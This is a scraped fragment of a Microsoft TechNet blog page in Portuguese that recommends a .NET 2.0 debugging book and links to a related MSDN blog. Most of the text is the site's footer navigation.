    blogs.msdn.com/suzcook/


    Livro:

    Debugging Microsoft .NET 2.0 Applications (Pro-Developer) (Paperback)
    www.amazon.com/Debugging-Microsoft-NET-Applications-Pro-Developer/dp/0735622027/sr=8-2/qid=1157760897/ref=sr_1_2/103-9328215-6319036?ie=UTF8&s=books

    Obrigado!


Page 1 of 1 (2 items)
  • © 2013 Microsoft Corporation.
  • Terms of Use
  • Trademarks
  • Privacy & Cookies
  • 5.6.426.415
  • TechNet
  • Products
  • IT Resources
  • Downloads
  • Training
  • Support
Products
  • Windows
  • Windows
    Server
  • System
    Center
  • Internet
    Explorer
 
  • Office
  • Office 365
  • Exchange
    Server
 
  • SQL Server
  • SharePoint
    Products
  • Lync
  • See all products »
Resources
  • Evaluation Center
  • Learning Resources
  • Microsoft IT Camps
  • Microsoft Technical Communities
  • Microsoft Virtual Academy
  • Script Center
  • Server and Tools Blogs
  • Solution Accelerators
  • TechNet Blogs
 
  • TechNet Flash Newsletter
  • TechNet Gallery
  • TechNet Library
  • TechNet Magazine
  • TechNet Subscriptions
  • TechNet Video
  • TechNet Wiki
  • Windows Sysinternals
  • Virtual Labs
Solutions
  • Networking
  • Cloud and Datacenter
  • Security
  • Virtualization
Updates
  • Service Packs
  • Security Bulletins
  • Microsoft Update
Trials
  • Windows Server 2012
  • System Center 2012 SP1
  • Microsoft SQL Server 2012 SP1
  • Windows 8 Enterprise
  • See all trials »
Related Sites
  • Microsoft Download Center
  • TechNet Evaluation Center
  • Drivers
  • Compatability & Converters
  • Windows Sysinternals
  • TechNet Gallery
Training
  • Training Catalog
  • Class Locator
  • Microsoft Virtual Academy
  • Free Windows Server 2012 courses
  • Free Windows 8 courses
  • SQL Server training
  • e-Learning overview
Certifications
  • Certification overview
  • MCSA: Windows 8
  • Windows Server Certification (MCSE)
  • Private Cloud Certification (MCSE)
  • SQL Server Certification (MCSE)
Other resources
  • TechNet Events
  • Second shot for certification
  • Born To Learn blog
  • IT Camps
Support by product
  • Exchange Server
  • Forefront Server
  • Forefront Edge Security
  • Forefront Server Security
  • Internet Explorer
  • Office
  • SharePoint
 
  • SQL Server
  • System Center
  • Windows Server
  • Windows XP
  • Windows Vista
  • Windows 7
  • Windows 8
Other support links
  • Microsoft Premier Online
  • Microsoft Fix It Center
  • TechNet Forums
  • MSDN Forums
  • Security Bulletins & Advisories
  • International support solutions
  • Log a support ticket
  • Look up event IDs and error codes
Not an IT pro?
  • Microsoft Customer Support
  • Microsoft Community Forums